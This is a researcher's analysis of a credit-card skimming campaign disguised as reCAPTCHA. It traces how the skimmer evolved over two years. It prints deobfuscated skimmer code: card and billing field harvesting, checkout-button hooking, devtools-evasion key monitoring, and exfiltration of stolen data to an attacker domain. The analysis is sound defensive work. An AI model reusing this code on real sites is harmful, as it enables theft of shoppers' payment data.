The Skimmer
Many of the variables, functions, and classes kept their original names (such as attackClass, tmpkeys, _badkeys, _mobile, allow, crypt, format, updatedata_, etc...) even though the script was obfuscated. I have renamed the rest with more meaningful — though sometimes lengthy — names. The code, shown in this github gist, is already deobfuscated, with the obfuscation functions and variables removed for readability’s sake.
The Flow
The Take
Diversion Meant for Human Eyes
The use of recaptcha in the domain, especially when the real Recaptcha is embedded in the site, is meant to throw off casual devtools peekers. It’s easy to understand how at a glance the malicious _https://recaptcha.tech/client/js/api.js _can be confused for the innocuous https://www.google.com/recaptcha/api.js.
Even the exfiltration url is disguised to look like a valid recaptcha endpoint - /verify.
Persistence is Key to Detecting Open Devtools
When you suspect there’s something wrong on a website, the first step is to open the developer tools window and look around. Peek in the Network tab to see if there’s any communication with an unfamiliar domain, or go over to the Sources tab to look for anything suspicious in the code. Perhaps you’d discover an out-of-place element in the Elements tab. There are a lot of ways to find attack indicators just by poking around the devtools, so there’s an incentive for skimmers to recognize if they’re being observed and to cease their operation.
This attack is no different in that aspect. It employs a common method to check if the devtools are open by comparing the outer and inner window size. While most skimmers simply avoid running when possibly being monitored, this one also installs a keylogger that monitors the last 3 keydown events that took place. It looks for specific combinations starting with ctrl and shift, where the last event was of one of its so called “bad keys” which are used to open the devtools (or view source) on Windows, Mac, or using Chrome, Safari, or Opera. The commonly used F12 key is also monitored.
config.bad_keys = ['I', 'C', 'J', 'U'];
document.onkeydown = function (keyboardEvent) {
if (keyboardEvent.key === "F12") {
localStorage.setItem("init", +new Date());
}
if (keyboardEvent.key !== config.tmp_keys[1]) {
config.tmp_keys[3] = config.tmp_keys[2];
config.tmp_keys[2] = config.tmp_keys[1];
config.tmp_keys[1] = keyboardEvent.key;
if (config.tmp_keys[3] === "Control" &&
config.tmp_keys[2] === "Shift" &&
config.bad_keys.includes(config.tmp_keys[1])) {
localStorage.setItem("init", +new Date());
}
}
};
Once either mechanism determines the devtools were opened, a localStorage key is saved with its value set as the current datetime. The non-existence of this key is verified when the attack starts. If the key exists and is older than 3 hours, it is deleted. Otherwise, the attack is halted.
As previously mentioned, this campaign isn’t new, and while some attacks are still live, earlier iterations can be tracked all the way back to July 2019 when the server was registered. I went back and dug up previous versions of the skimmer served from the same domain and found it interesting to see the development of the skimmer, especially between its earliest version and the latest one.
Breakdown of an Earlier Attack
Here’s the earlier version of the skimmer. The loader was almost the same as the latest version, so I skipped it to avoid code clutter.
The Skimmer
The code, shown in this github gist, was deobfuscated with the obfuscation functions and variables removed for readability. The functions and variables were then renamed according to the latest version in order to simplify the comparison.
The Flow
Here’s how this early version performed the skimming:
The Differences
The first thing I noticed was that this is a straightforward linear script, without the more structured class and methods. But the fraudster’s improving coding skills isn’t really why I thought it interesting to compare versions; the expanding scope is.
The comparison shows obvious signs of improvement - not just in the script’s structure and techniques, but also in the ability to target more sites with the same code without requiring to adjust the code per attack.
I will focus on 3 key areas in which I noticed specific improvements: field targeting, button hooking, and data exfiltration.
Field Targeting
The earliest version operates by hard-coding the css selectors matching the targeted input fields and the attributes that should be harvested from them.
var targetedFieldsDetails = {}; // The target fields' cssSelector and attribute to harvest
targetedFieldsDetails.cc_number = ["#cardnumber", "value"];
targetedFieldsDetails.cc_cvv = ["#cvc", "value"];
targetedFieldsDetails.cc_exp_m = ["#exp_month", "value"];
targetedFieldsDetails.cc_exp_y = ["#exp_year", "value"];
targetedFieldsDetails.cc_owner = null;
targetedFieldsDetails.billing_state = ["[class='selectize-input items has-options full has-items']", "innerText"];
targetedFieldsDetails.billing_city = ["#city_billing", "value"];
targetedFieldsDetails.billing_country = null;
targetedFieldsDetails.billing_email = ["#email_billing", "value"];
targetedFieldsDetails.billing_firstname = ["#first_name_billing", "value"];
targetedFieldsDetails.billing_lastname = ["#last_name_billing", "value"];
targetedFieldsDetails.billing_zip = ["#zipcode_billing", "value"];
targetedFieldsDetails.billing_address = ["#address_billing", "value"];
targetedFieldsDetails.billing_telephone = ["#telephone_billing", "value"];
if (localStorage.getItem("recaptcha.stream") == null) {
var targetedFieldsCollectedData = {};
Object.keys(targetedFieldsDetails).forEach(function (targetedField) {
targetedFieldsCollectedData[targetedField] = null;
});
localStorage.setItem("recaptcha.stream", format(targetedFieldsCollectedData, true));
}
var storedData = format(localStorage.getItem("recaptcha.stream"), false);
Object.keys(targetedFieldsDetails).forEach(function (targetedFieldDetails) {
if (targetedFieldsDetails[targetedFieldDetails] != null) {
switch (targetedFieldsDetails[targetedFieldDetails][1]) {
case "value":
if (document.querySelector(targetedFieldsDetails[targetedFieldDetails][0]) != null) {
storedData[targetedFieldDetails] = document.querySelector(targetedFieldsDetails[targetedFieldDetails][0]).value;
}
break;
case "innerText":
if (document.querySelector(targetedFieldsDetails[targetedFieldDetails][0]) != null) {
storedData[targetedFieldDetails] = document.querySelector(targetedFieldsDetails[targetedFieldDetails][0]).innerText;
}
break;
}
}
});
These are specifically selected to match a certain payment provider or framework which uses these hard-coded IDs.
A later version moves from hard-coded IDs to naming the tag name along with its name attribute, perhaps due to a change in the framework or a change in the targets of this attack.
var targetedFieldsDetails = {};
targetedFieldsDetails.cc_number = ["input[name='card_number']", "value"];
targetedFieldsDetails.cc_cvv = ["input[name='x_card_code']", "value"];
targetedFieldsDetails.cc_exp_m = ["select[name='expire_month']", "value"];
targetedFieldsDetails.cc_exp_y = ["select[name='expire_year']", "value"];
targetedFieldsDetails.cc_owner = ["input[name='name_on_card']", "value"];
targetedFieldsDetails.billing_state = null;
targetedFieldsDetails.billing_city = ["input[name='city']", "value"];
targetedFieldsDetails.billing_country = ["select[name='country']", "value"];
targetedFieldsDetails.billing_email = ["input[name='customer_email']", "value"];
targetedFieldsDetails.billing_firstname = ["input[name='customer_first']", "value"];
targetedFieldsDetails.billing_lastname = ["input[name='customer_last']", "value"];
targetedFieldsDetails.billing_zip = ["input[name='zipcode']", "value"];
targetedFieldsDetails.billing_address = ["input[name='street']", "value"];
targetedFieldsDetails.billing_telephone = null;
if (document.querySelector("#country_code_input") != null && document.querySelector("#customer_phone") != null) {
targetedFieldsDetails.billing_telephone = document.querySelector("#country_code_input").value.concat('').concat(document.querySelector("#customer_phone").value);
}
if (document.querySelector("select[name='state']") != null) {
targetedFieldsDetails.billing_state = document.querySelector("select[name='state']").value;
}
In this intermediate version, additional information on country code and state is specifically collected. The collection itself, including the switch statement, is kept the same.
In the latest version, the code iterates over all input, select, and textarea fields found on the page, dynamically extracting their name/ID and the attribute relevant for them that contains the targeted data:
let collectedData = {};
document.querySelectorAll("input, select, textarea, option[selected=\"selected\"]").forEach(function (el) {
try {
if (el.type !== "hidden" || el.hasAttribute("data-validate-required")) {
let elName = null;
if (el.name && el.name.length > 0) {
elName = el.name;
} else if (el.id && el.id.length > 0) {
elName = el.id;
} else if (el.parentNode.name.length > 0) {
elName = el.localName + '$' + el.parentNode.name;
} else if (el.parentNode.id.length > 0) {
elName = el.localName + '$' + el.parentNode.id;
} else {
return;
}
if (el.value !== undefined && el.localName !== "option") {
if (el.value.length > 0) {
collectedData[elName] = el.value;
}
} else if (el.innerText !== undefined) {
if (el.innerText.length > 0) {
collectedData[elName] = el.innerText;
}
}
}
} catch (e) { }
});
This strategy allows the same script to run on pretty much any page that provides access to these input fields without any need for modification.
Button Hooking
The design choice for when to start the actual harvesting has also been revisited between the earliest version and the intermediate one, not changing again for any future version.
The earliest version started the attack after the replacement button was clicked:
var targetedButtons = {};
targetedButtons["[class='ui-button ui-widget ui-state-default ui-corner-all ui-button-text-only']"] = true;
// ...
Object.keys(targetedButtons).forEach(function (cssSelector) {
if (!(document.querySelector(cssSelector) == null)) {
if (document.querySelector(cssSelector).getAttribute("default") !== "true") {
attachAttackToButton([cssSelector, targetedButtons[cssSelector]]);
}
}
});
// ...
function attachAttackToButton(cssSelectorDetails) {
var el = document.querySelector(cssSelectorDetails[0]);
var parentEl = el.parentNode;
var clonedEl = el.cloneNode(true);
clonedEl.removeAttribute("href");
clonedEl.setAttribute("default", true);
var counter = 0;
clonedEl.addEventListener("click", () => {
if (!localStorage.getItem("init")) {
harvestValues(); // <-- The data collection
// ...
}
});
}
The intermediate version brought on a change in the timing data collection - now collecting in an interval, not bound to a click on the submit button, which only initiated the data exfiltration:
function attackOnIntervals() {
// ...
if (!localStorage.getItem("init")) {
harvestValues();
}
}
setInterval(attackOnIntervals, 250);
// ...
var targetedButtons = {};
targetedButtons["#complete_my_order"] = true;
// ...
Object.keys(elementReplacements).forEach(function (elementDetails) {
try {
elementReplacements[elementDetails][0]
.replaceChild(elementReplacements[elementDetails][1], elementReplacements[elementDetails][2]);
} catch (e) {}
});
You’ll also notice that the targeted button’s css selector has changed, probably targeting a different payment provider.
The version that came after that already made the jump from replacing the button to hooking the original. It used an object where the css selector for a checkout button possibly on the page is the key, and the value notes whether it has been hooked (useful to avoid double-hooking and to remove hooking when the attack is completed):
const objects = {};
objects["#purchasebutton"] = false;
objects["#purchasebutton2"] = false;
objects["#complete_my_order"] = false;
objects["#buyBtn"] = false;
objects[".membership-fixed.membership-purchase.footer-nav-bar.active .container"] = false;
objects[".membership-fixed.membership-order.footer-nav-bar.active .container"] = false;
objects["#pay-ccard"] = false;
objects[".button.blue-button.register-button"] = false;
objects["#button-confirm"] = false;
objects["div[id='tab-3'] .procced-to-payment-block .btn.wizgobtn"] = false;
objects["div[id='tab-9'] .procced-to-payment-block .btn.wizgobtn"] = false;
objects["button[class='thm-btn thm-blue-bg']"] = false;
objects["button[class='pg-button pg-checkout-continue btn btn-primary btn-full']"] = false;
config.object = objects;
// ...
for (let [cssSelector, isHooked] of Object.entries(config.objects)) {
try {
if (!isHooked) {
if (document.querySelector(cssSelector) !== undefined) {
document.querySelector(cssSelector).addEventListener("mouseover", this.send);
config.objects[cssSelector] = !![];
}
}
} catch (e) {}
}
The latest version does away with the objects object (but keeps the name) and simply sets an innocuous attribute on hooked buttons. Notice the newly added css selectors, which suggests this version caters to a much broader selection of possible targets:
config.objects = ["#purchasebutton", "#purchasebutton2", "#complete_my_order", "#buyBtn", ".membership-fixed.membership-purchase.footer-nav-bar.active .container", ".membership-fixed.membership-order.footer-nav-bar.active .container", "#pay-ccard", ".button.blue-button.register-button", "#button-confirm", "div[id='tab-3'] .procced-to-payment-block .btn.wizgobtn", "div[id='tab-9'] .procced-to-payment-block .btn.wizgobtn", "button[class='thm-btn thm-blue-bg']", "button[class='pg-button pg-checkout-continue btn btn-primary btn-full']", "#place_order", "#send", "#checkout_submit", "#edit-continue", "input[class='btn-dk-blue btn-md btn-rounded checkout_mobile']", "#button-payment-method", "button[class^='PayNowButton__GoToCheckout']", "button[class^='AddressForm__GoToCheckout']", "form[id='checkout_shipping_form'] button[type='submit']", "button[id='submit_order']", ".advertise_login .btn_right_container_checkout input", ".advertise_register .btn_right_container_checkout input", "#placeOrderButton", "#submit_checkout_form_btn", "#submit_user_data", "#complete_reservation", "#pay-next-braintree", "button[class='card_checkout_button proceed_btn']", "input[class='btn-regular-sm']", "#onestepcheckout-button-place-order"];
// ...
config.objects.forEach(function (cssSelector, _, __) {
try {
if (document.querySelector(cssSelector) !== undefined) {
if (!document.querySelector(cssSelector).hasOwnProperty("onrotate")) {
document.querySelector(cssSelector).addEventListener("mouseover", this.send);
Object.defineProperty(document.querySelector(cssSelector), "onrotate", {});
}
}
} catch (e) {}
}, this);
Data Exfiltration
Another interesting change is the techniques used to exfiltrate the stolen data back to the fraudster’s server.
The earliest version injects an image element and sets the src attribute to point at the fraudster’s server. The encrypted stolen data hides as part of the query string, which also includes some “noise” to make this request seem less suspicious.
var img = document.createElement("img");
img.width = "1px";
img.height = "1px";
img.id = "devRecaptchaStream";
img.src = "https://recaptcha.tech/recaptcha.php?recaptcha_stream=" +
localStorage.getItem("recaptcha.stream") + // The stolen data
"&type=desktop&format=gif&mod=find_buses&id=3b4353"; // The attempt at misdirection
document.body.appendChild(img);
You’ll notice how the width and height of the element was set to 1x1 similar to a tracking pixel. I’m not sure if at that time the server actually returned a pixel response, but in any case, another function running in intervals of 4 times a second would search for this image element and remove it once it was found.
send() {navigator.sendBeacon(config.backend, config.data);}
I would venture a guess that hooking the button instead of replacing it, and using mouseover together with this sendBeacon technique, are all part of the attempt to be less intrusive and change the flow of the site. This might end up breaking the site, making the attack more noisy and possibly alerting the users and the owner of the site to it.
Between employing more techniques to identify when the script is being observed (open devtools), limiting the scope of the variables, and cleaning up when the attack is halted, there is an observable active effort made by the fraudster to avert research and detection of the attack.
This skimmer evolved over the course of two years, from an attack targeting specific fields on a single site configuration into a generic attack that is compatible with a range of frameworks or payment providers.
Over time, some techniques were enhanced in quality, ensuring the skimmer ran its course while also improving anti-research protection. Others — like the use of a key in the localStorage to halt the attack, and the encryption functions — remained the same. If a certain method works, like hiding behind a server evoking the name recaptcha, why change it? Keep in mind that while this skimmer does not exhibit any advanced characteristics that would prove a challenge to most detection solutions, it still ran uninterrupted for quite a while, probably due in part to its maintainer’s adaptability.